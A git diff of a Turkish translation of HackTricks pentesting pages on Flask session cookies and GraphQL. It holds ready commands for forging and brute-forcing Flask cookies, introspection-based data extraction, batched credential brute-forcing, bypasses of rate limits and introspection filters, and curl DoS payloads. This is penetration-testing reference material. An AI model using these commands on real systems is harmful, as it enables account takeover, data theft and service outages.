b/src/network-services-pentesting/pentesting-web/flask.md index 6adca5af1..add10f8d8 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -24,7 +24,9 @@ Cookie ayrıca bir şifre kullanılarak imzalanmıştır. Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı. -{% embed url="https://pypi.org/project/flask-unsign/" %} +{{#ref}} +https://pypi.org/project/flask-unsign/ +{{#endref}} ```bash pip3 install flask-unsign ``` @@ -32,7 +34,7 @@ pip3 install flask-unsign ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` -#### **Kaba Güç** +#### **Kaba Kuvvet** ```bash flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval ``` @@ -46,9 +48,11 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerine brute-force saldırısı yapmak için komut satırı aracı. +Cookie'leri flask-unsign ile oluşturulmuş sitelere brute-force saldırısı yapmak için komut satırı aracı. -{% embed url="https://github.com/Tagvi/ripsession" %} +{{#ref}} +https://github.com/Tagvi/ripsession +{{#endref}} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` @@ -79,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content app.run(host='0.0.0.0', port=8080) ``` -Bir **SSRF** oluşturmak için "@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir. +"@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir, bu da bir **SSRF** oluşturabilir. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index a17e670f7..94f80c2d0 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Giriş GraphQL, arka uçtan veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak REST API'ye **verimli bir alternatif** olarak **vurgulanmaktadır**. REST'in, verileri toplamak için genellikle çeşitli uç noktalar arasında çok sayıda isteği gerektirmesiyle karşılaştırıldığında, GraphQL, gerekli tüm bilgilerin **tek bir istekle** alınmasını sağlar. Bu basitleştirme, veri alma süreçlerinin karmaşıklığını azaltarak **geliştiricilere** önemli ölçüde **fayda sağlar**. @@ -13,7 +12,7 @@ Yeni teknolojilerin, GraphQL dahil, ortaya çıkmasıyla birlikte yeni güvenlik ### Dizin Kaba Kuvvet Saldırıları ve GraphQL -Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarında belirli yolların dahil edilmesi önerilmektedir. Bu yollar şunlardır: +Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarına belirli yolların dahil edilmesi önerilmektedir. Bu yollar şunlardır: - `/graphql` - `/graphiql` @@ -24,7 +23,7 @@ Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarında - `/graphql/api` - `/graphql/graphql` -Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta üzerinden erişilebilen verileri anlamak için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/) +Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta üzerinden erişilebilen verilerin anlaşılması için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/) ### Parmak İzi @@ -32,7 +31,7 @@ Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine ol #### Evrensel sorgular -Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, `query{__typename}` şeklinde bir **evrensel sorgu** gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in `__typename` alanına dayanır. +Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in `__typename` alanına dayanır. ```javascript query{__typename} ``` @@ -66,10 +65,10 @@ Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların ``` ![](<../../images/image (416).png>) -**İçgörü ile Veritabanı Şemasını Sayma** +**Veritabanı Şemasını İnspeksiyon ile Belirleme** > [!NOTE] -> Eğer içgörü etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin. +> İnspeksiyon etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin. ```bash #Full introspection query @@ -167,13 +166,13 @@ Son kod satırı, graphql'den tüm meta-bilgileri (nesne adları, parametreler, ![](<../../images/image (363).png>) -Eğer introspection etkinse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak GUI'de tüm seçenekleri görüntüleyebilirsiniz. +Eğer introspection etkinse, tüm seçenekleri bir GUI'de görüntülemek için [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanabilirsiniz. ### Sorgulama -Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, **bazı değerleri çıkarmaya** çalışalım. +Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, **bazı değerleri çıkarmayı** deneyelim. -İntrospection'da **hangi nesneyi doğrudan sorgulayabileceğinizi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki resimde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, bayrak nesnesini sorgulayabilirsiniz. +İntrospection'da **hangi nesneyi doğrudan sorgulayabileceğinizi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, bayrak nesnesini sorgulayabilirsiniz. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) @@ -194,7 +193,7 @@ Bunu sadece şu şekilde sorgulayabilirsiniz: query = { hiddenFlags } ``` Başka bir örnekte "_Query_" türü nesnesinin içinde "_user_" ve "_users_" adında 2 nesne vardı.\ -Eğer bu nesnelerin arama yapmak için herhangi bir argümana ihtiyacı yoksa, istediğiniz veriyi **sadece** isteyerek **tüm bilgileri alabilirsiniz**. Bu örnekte İnternetten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz: +Eğer bu nesnelerin arama yapmak için herhangi bir argümana ihtiyacı yoksa, istediğiniz veriyi **sadece** isteyerek **tüm bilgileri alabilirsiniz**. Bu internet örneğinde, kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz: ![](<../../images/image (880).png>) @@ -202,7 +201,7 @@ Ancak, bu örnekte bunu yapmaya çalıştığınızda bu **hata** ile karşıla ![](<../../images/image (1042).png>) -Görünüşe göre bir şekilde "_**uid**_" argümanını _**Int**_ türünde kullanarak arama yapacak.\ +Görünüşe göre bir şekilde "_**uid**_" argümanını _**Int**_ türü ile kullanarak arama yapacak.\ Her neyse, zaten biliyorduk ki, [Basic Enumeration](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` O sorguyu çalıştırdığımda sağlanan görüntüyü okursanız, "_**user**_" nesnesinin _Int_ türünde "_**uid**_" **arg**'sine sahip olduğunu göreceksiniz. @@ -224,7 +223,7 @@ Eğer bir dize türü ile arama yapabiliyorsanız, örneğin: `query={theusers(d ### Arama -Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içermektedir. **Kişiler** **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca veritabanında ilişkileri gösteren filmlere sahip olabilirler. +Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içermektedir. **Kişiler** **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanı içindeki ilişkileri gösterir. **İsim** ile kişileri **arama** yapabilir ve e-posta adreslerini alabilirsiniz: ```javascript @@ -251,7 +250,7 @@ name ``` Not edin ki kişinin `subscribedMovies`'nin `name`'ini almak için nasıl belirtildiği. -Aynı anda **birden fazla nesne arayabilirsiniz**. Bu durumda, 2 film araması yapılmaktadır: +Aynı anda **birden fazla nesne arayabilirsiniz**. Bu durumda, 2 film aranıyor: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -340,13 +339,13 @@ Bu raporda açıklanan [**zafiyetlerden birinde**](https://www.landh.tech/blog/2 ### 1 API isteğinde toplu brute-force Bu bilgi [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) adresinden alınmıştır.\ -GraphQL API üzerinden **farklı kimlik bilgileri ile aynı anda birçok sorgu göndererek** kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak GraphQL toplama özelliği sayesinde bir HTTP isteği başına birden fazla oturum açma/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır. +GraphQL API üzerinden **farklı kimlik bilgileri ile aynı anda birçok sorgu göndererek** kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak artık GraphQL toplama özelliği sayesinde her HTTP isteğinde birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır. Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile bir uygulama kimlik doğrulama isteğinin en basit gösterimini bulabilirsiniz. Açıkça, aynı şekilde tek bir istekte binlerce göndermek mümkündür: ![](<../../images/image (1081).png>) -Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü istekler _null_ döndürdü ve ilgili bilgileri _hata_ bölümünde yansıttı. **İkinci mutasyon doğru kimlik doğrulama** verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirtecini içeriyordu. +Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü istekler _null_ döndürdü ve _hata_ bölümünde ilgili bilgileri yansıttı. **İkinci mutasyon doğru kimlik doğrulama** verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirtecini içeriyordu. ![](<../../images/image (119) (1).png>) @@ -354,13 +353,13 @@ Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü ist Giderek daha fazla **graphql uç noktası inspeksiyonu devre dışı bırakıyor**. Ancak, beklenmedik bir istek alındığında graphql'nin attığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçların şemanın çoğunu yeniden oluşturması için yeterlidir. -Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini gözlemler** ve her yeni sorgu gördüğünde bir iç GraphQL **şeması** **oluşturur**. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir inspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**bunu kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini gözlemler** ve her yeni sorgu gördüğünde bir iç GraphQL **şeması** oluşturur. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir inspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**bunu kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). [**GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir**](https://github.com/Escape-Technologies/graphql-wordlist?). ### GraphQL inspeksiyon savunmalarını aşma -API'lerde inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `__schema` anahtar kelimesinden sonra **özel bir karakter eklemek** etkili olduğu kanıtlanmıştır. Bu yöntem, inspeksiyonu engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmayabilecek **boşluklar, yeni satırlar ve virgüller** gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, `__schema` sonrasında bir yeni satır içeren bir inspeksiyon sorgusu bu tür savunmaları aşabilir: +API'lerdeki inspeksiyon sorguları üzerindeki kısıtlamaları aşmak için, `__schema` anahtar kelimesinden sonra **özel bir karakter eklemek** etkili olduğu kanıtlanmıştır. Bu yöntem, inspeksiyonu engellemeyi amaçlayan regex desenlerindeki yaygın geliştirici gözden kaçırmalarını istismar eder. GraphQL'in göz ardı ettiği ancak regex'te hesaba katılmayabilecek **boşluklar, yeni satırlar ve virgüller** gibi karakterler ekleyerek kısıtlamalar aşılabilir. Örneğin, `__schema` sonrasında bir yeni satır içeren bir inspeksiyon sorgusu bu tür savunmaları aşabilir: ```bash # Example with newline to bypass { @@ -398,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **Açık GraphQL Yapılarını Keşfetme** -İnceleme devre dışı bırakıldığında, web sitesinin kaynak kodunu JavaScript kütüphanelerinde önceden yüklenmiş sorgular için incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Sources` sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak **açık hassas sorguları** ortaya çıkarabilir. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır: +İnceleme devre dışı bırakıldığında, web sitesinin kaynak kodunu JavaScript kütüphanelerinde önceden yüklenmiş sorgular için incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Sources` sekmesi kullanılarak bulunabilir ve API'nin şemasına dair bilgiler sunarak potansiyel olarak **açık hassas sorguları** ortaya çıkarır. Geliştirici araçlarında arama yapmak için kullanılan komutlar şunlardır: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -428,13 +427,13 @@ Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax` **Sorgu** **isteğini** ayrıca **GET** **isteği olarak göndermek genellikle mümkündür ve CSRF token'ı bir GET isteğinde doğrulanmayabilir.** -Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/) **saldırısını** kötüye kullanarak, kullanıcının kimlik bilgilerini kötüye kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir. +Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/) **saldırısını** kötüye kullanarak, kullanıcının kimlik bilgilerini kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir. Daha fazla bilgi için **buradaki** [**orijinal gönderiyi kontrol edin**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## GraphQL'de Çapraz Site WebSocket Ele Geçirme -GraphQL'i kötüye kullanan CRSF zafiyetlerine benzer şekilde, **korumasız çerezlerle GraphQL ile bir kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek** ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür. +GraphQL'i kötüye kullanan CRSF zafiyetlerine benzer şekilde, **korumasız çerezlerle GraphQL ile kimlik doğrulamasını kötüye kullanmak için bir Çapraz Site WebSocket ele geçirme gerçekleştirmek** ve bir kullanıcının GraphQL'de beklenmedik eylemler gerçekleştirmesini sağlamak da mümkündür. Daha fazla bilgi için kontrol edin: @@ -456,7 +455,7 @@ Mutasyon, diğer hesap verilerini değiştirmeye çalışarak hesap ele geçirme "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` -### GraphQL'de Yetkilendirmeyi Aşma +### GraphQL'de Yetkiyi Aşma [Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir kimlik doğrulama sistemini aşabilir. @@ -466,11 +465,11 @@ Aşağıdaki örnekte, işlemin "forgotPassword" olduğunu ve bunun yalnızca on ## GraphQL'de Takma Adlar Kullanarak Hız Sınırlarını Aşma -GraphQL'de, takma adlar, bir API isteği yaparken **özelliklerin açıkça adlandırılmasını** sağlayan güçlü bir özelliktir. Bu yetenek, **aynı türden birden fazla nesneyi** tek bir istekte almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir. +GraphQL'de, takma adlar, bir API isteği yaparken **özelliklerin açıkça adlandırılmasını** sağlayan güçlü bir özelliktir. Bu yetenek, tek bir istekte **aynı türden birden fazla nesne** almak için özellikle yararlıdır. Takma adlar, GraphQL nesnelerinin aynı isimde birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir. -GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). +GraphQL takma adları hakkında detaylı bir anlayış için aşağıdaki kaynak önerilmektedir: [Takma Adlar](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Takma adların birincil amacı, çok sayıda API çağrısı gereksinimini azaltmak olsa da, takma adların bir GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabileceği istenmeyen bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, **HTTP istekleri sayısını** kısıtlayarak kaba kuvvet saldırılarını engellemek için tasarlanmış hız sınırlayıcıları tarafından korunduğu için mümkündür. Ancak, bu hız sınırlayıcıları her istekteki işlem sayısını dikkate almayabilir. Takma adlar, tek bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiğinden, bu tür hız sınırlama önlemlerini aşabilirler. +Takma adların birincil amacı, çok sayıda API çağrısı gereksinimini azaltmak olsa da, takma adların bir GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabileceği beklenmedik bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, **HTTP isteklerinin sayısını** kısıtlayarak kaba kuvvet saldırılarını engellemek için tasarlanmış hız sınırlayıcıları tarafından korunduğu için mümkündür. Ancak, bu hız sınırlayıcıları her istekteki işlem sayısını dikkate almayabilir. Takma adlar, tek bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiğinden, bu tür hız sınırlama önlemlerini aşabilirler. Aşağıda sağlanan örneği düşünün; bu, takma adlı sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini göstermektedir. Bu yöntem, birkaç sorguyu tek bir HTTP isteğine derleyerek hız sınırlamasını aşabilir ve potansiyel olarak birçok indirim kodunun aynı anda doğrulanmasına olanak tanıyabilir. ```bash @@ -491,18 +490,18 @@ valid ### Alias Aşırı Yükleme -**Alias Aşırı Yükleme**, saldırganların aynı alan için birçok alias ile bir sorguyu aşırı yüklediği bir GraphQL zayıflığıdır; bu, arka uç çözümleyicinin o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını aşırı yükleyebilir ve **Hizmet Reddi (DoS)** ile sonuçlanabilir. Örneğin, aşağıdaki sorguda, aynı alan (`expensiveField`) 1,000 kez alias kullanılarak talep edilmektedir; bu, arka ucu 1,000 kez hesaplamaya zorlayarak CPU veya belleği potansiyel olarak tüketebilir: +**Alias Aşırı Yükleme**, saldırganların aynı alan için birçok alias ile bir sorguyu aşırı yüklediği bir GraphQL zayıflığıdır; bu, arka uç çözücünün o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını aşırı yükleyebilir ve **Hizmet Reddi (DoS)** ile sonuçlanabilir. Örneğin, aşağıdaki sorguda, aynı alan (`expensiveField`) alias kullanılarak 1.000 kez talep edilmektedir; bu, arka ucu 1.000 kez hesaplamaya zorlayarak CPU veya belleği tüketebilir: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -Bunu hafifletmek için, kaynak istismarını önlemek amacıyla takma ad sayısı sınırları, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın. +Bunu hafifletmek için, kaynak istismarını önlemek amacıyla takma ad sayısı limitleri, sorgu karmaşıklığı analizi veya hız sınırlaması uygulayın. ### **Dizi Tabanlı Sorgu Gruplama** -**Dizi Tabanlı Sorgu Gruplama**, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak (CPU, bellek, veritabanı bağlantıları) tüketebilir ve potansiyel olarak bir **Hizmet Reddi (DoS)** durumuna yol açabilir. Bir gruptaki sorgu sayısı için bir sınır yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir. +**Dizi Tabanlı Sorgu Gruplama**, bir GraphQL API'sinin tek bir istekte birden fazla sorgunun gruplandırılmasına izin verdiği bir zayıflıktır; bu da bir saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu, tüm gruplandırılmış sorguları paralel olarak çalıştırarak arka ucu aşırı yükleyebilir, aşırı kaynak tüketimine (CPU, bellek, veritabanı bağlantıları) neden olabilir ve potansiyel olarak bir **Hizmet Reddi (DoS)** durumuna yol açabilir. Bir gruptaki sorgu sayısı üzerinde bir limit yoksa, bir saldırgan bunu hizmetin kullanılabilirliğini azaltmak için istismar edebilir. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -514,7 +513,7 @@ Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilerek sunucunun hepsini ### **Yönerge Aşırı Yükleme Açığı** -**Yönerge Aşırı Yükleme** bir GraphQL sunucusunun aşırı, tekrarlayan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlayan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir, bu da **Hizmetin Reddi (DoS)** ile sonuçlanabilir. +**Yönerge Aşırı Yükleme** bir GraphQL sunucusunun aşırı, tekrarlanan yönergelerle sorgulara izin vermesi durumunda meydana gelir. Bu, sunucunun ayrıştırıcısını ve yürütücüsünü aşırı yükleyebilir, özellikle sunucu aynı yönerge mantığını tekrar tekrar işliyorsa. Uygun doğrulama veya sınırlar olmadan, bir saldırgan, yüksek hesaplama veya bellek kullanımı tetiklemek için çok sayıda tekrarlanan yönerge içeren bir sorgu oluşturarak bunu istismar edebilir, bu da **Hizmet Reddi (DoS)** ile sonuçlanabilir. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -522,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -Not edin ki önceki örnekte `@aa` özel bir direktiftir ve **belirtilmemiş olabilir**. Genellikle mevcut olan yaygın bir direktif **`@include`**dir: +Not edin ki önceki örnekte `@aa` özel bir direktiftir ve **belirtilmemiş olabilir**. Genellikle mevcut olan yaygın bir direktif **`@include`**'dır: ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -554,13 +553,13 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql uç noktalarının yaygın yanlış yapılandırmalarını test edin - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Toplu GraphQL sorguları ve değişiklikleri gerçekleştirmeye odaklanan GraphQL güvenlik denetim scripti. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Kullanılan graphql'yi parmak izi ile tanımlayın -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirmeyi test etmek, şemaları zorlamak ve belirli bir tür için yollar bulmak için kullanılabilecek araç seti. +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirmeyi test etmek, şemaları kaba kuvvetle denemek ve belirli bir tür için yollar bulmak için kullanılabilecek araç seti. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp uzantısı](https://github.com/doyensec/inql) olarak kullanılabilir. - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Saldırıları otomatikleştirmek için CLI istemcisi olarak da kullanılabilir - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını** listeleyen araç. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL'nin Bağımsız ve CLI Modlarının Halefidir -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_ InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir introspection şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. _**Saldırgan**_ bileşeni, kötü uygulanmış oran sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını çalıştırmanıza olanak tanır. -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Bazı Graphql veritabanlarının yardımıyla, introspection devre dışı olsa bile şemayı almaya çalışın; bu veritabanları değişikliklerin ve parametrelerin adlarını 